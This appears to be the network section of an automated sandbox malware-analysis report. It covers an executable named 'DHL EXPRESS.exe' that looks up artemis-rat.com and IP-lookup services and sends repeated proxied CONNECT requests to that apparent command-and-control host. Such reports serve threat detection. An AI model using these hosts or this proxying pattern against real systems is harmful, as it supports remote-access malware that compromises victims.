Mar 11, 2024 18:36:46.741368055 CET	443	51343	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.741390944 CET	8888	51040	31.43.158.108	192.168.2.8
Mar 11, 2024 18:36:46.741513968 CET	51040	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.741645098 CET	80	50416	154.118.228.212	192.168.2.8
Mar 11, 2024 18:36:46.741746902 CET	50416	80	192.168.2.8	154.118.228.212
Mar 11, 2024 18:36:46.742296934 CET	51040	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.742297888 CET	51349	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.742332935 CET	443	51349	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.742449999 CET	51349	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.742719889 CET	51350	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.742877007 CET	999	50618	45.65.138.48	192.168.2.8
Mar 11, 2024 18:36:46.742906094 CET	50416	80	192.168.2.8	154.118.228.212
Mar 11, 2024 18:36:46.743009090 CET	51349	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.743029118 CET	443	51349	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.743063927 CET	443	51349	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.743406057 CET	50812	9002	192.168.2.8	39.165.0.137
Mar 11, 2024 18:36:46.743731022 CET	3629	49843	178.158.197.147	192.168.2.8
Mar 11, 2024 18:36:46.743736982 CET	50618	999	192.168.2.8	45.65.138.48
Mar 11, 2024 18:36:46.744259119 CET	51351	443	192.168.2.8	43.153.174.197
Mar 11, 2024 18:36:46.744281054 CET	443	51351	43.153.174.197	192.168.2.8
Mar 11, 2024 18:36:46.744379044 CET	51351	443	192.168.2.8	43.153.174.197

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2024 18:36:41.679991961 CET	192.168.2.8	1.1.1.1	0x2e3d	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:45.557634115 CET	192.168.2.8	1.1.1.1	0x7104	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:51.280095100 CET	192.168.2.8	1.1.1.1	0x9c9c	Standard query (0)	artemis-rat.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:55.085937977 CET	192.168.2.8	1.1.1.1	0x5283	Standard query (0)	www.avis.com.hn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:01.850271940 CET	192.168.2.8	1.1.1.1	0x55d4	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:02.924628973 CET	192.168.2.8	1.1.1.1	0x73de	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:04.613756895 CET	192.168.2.8	1.1.1.1	0x3cdf	Standard query (0)	webmail.startupsinhubs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2024 18:36:41.835026979 CET	1.1.1.1	192.168.2.8	0x2e3d	No error (0)	github.com		140.82.114.4	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:46.376246929 CET	1.1.1.1	192.168.2.8	0x7104	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:51.468036890 CET	1.1.1.1	192.168.2.8	0x9c9c	No error (0)	artemis-rat.com		104.21.54.158	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:51.468036890 CET	1.1.1.1	192.168.2.8	0x9c9c	No error (0)	artemis-rat.com		172.67.140.87	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:55.489274979 CET	1.1.1.1	192.168.2.8	0x5283	No error (0)	www.avis.com.hn		172.67.199.231	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:36:55.489274979 CET	1.1.1.1	192.168.2.8	0x5283	No error (0)	www.avis.com.hn		104.21.84.251	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:02.005224943 CET	1.1.1.1	192.168.2.8	0x55d4	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:02.005224943 CET	1.1.1.1	192.168.2.8	0x55d4	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:02.005224943 CET	1.1.1.1	192.168.2.8	0x55d4	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:03.079634905 CET	1.1.1.1	192.168.2.8	0x73de	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Mar 11, 2024 18:37:04.857811928 CET	1.1.1.1	192.168.2.8	0x3cdf	No error (0)	webmail.startupsinhubs.com	startupsinhubs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 18:37:04.857811928 CET	1.1.1.1	192.168.2.8	0x3cdf	No error (0)	startupsinhubs.com		162.215.168.66	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49756	4.182.9.108	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.371819973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49768	4.182.9.108	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.401093960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49772	4.182.9.108	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.406923056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49773	4.182.9.108	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.409693003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49721	172.67.254.127	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.464247942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.618674994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49737	104.16.226.6	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.490235090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.644665003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49744	104.21.6.88	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.501955032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.655972004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49738	142.54.237.34	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.544143915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49764	172.67.182.169	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.545120955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.699528933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49769	104.17.9.114	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.555344105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.709692001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49767	162.243.102.207	9764	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.628542900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49726	79.110.196.145	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.641441107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49785	93.188.161.84	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.646893978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.190582037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.846877098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.143795967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.769546032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456792116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.066019058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269058943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.768908978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49734	14.103.24.148	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.648482084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.974664927 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.19.2 Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49799	45.12.31.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.651897907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:44.806297064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49717	41.74.91.244	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.666758060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.037481070 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:57 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 